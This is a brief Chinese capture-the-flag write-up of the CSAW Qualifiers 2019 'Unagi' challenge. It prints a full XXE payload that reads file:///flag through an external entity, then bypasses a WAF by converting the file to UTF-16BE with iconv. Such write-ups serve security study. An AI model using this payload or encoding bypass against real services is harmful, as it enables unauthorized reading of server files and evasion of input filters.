[CSAWQual 2019]Unagi
打开看一下网页
有一个提示
flag在/flag里
有一个上传窗口
看一下他的给的样式的源代码
是一个xml文件那么要上传这种文件很明显是xxe了
先上传一个正常的xml文件看一下
是正常的
那么接下来更改一下
<?xml version='1.0'?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
添加一个外部实体
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">]>
结果被waf了,可以试一下编码绕过
把这个文档用编码格式为 UTF-16BE(大端字节序)
进行表示
用下面命令就可以
cat root.xml | iconv -f UTF-8 -t UTF-16BE > 1.xml
用kali处理一下
然后上传这个1.xml
访问/flag
出了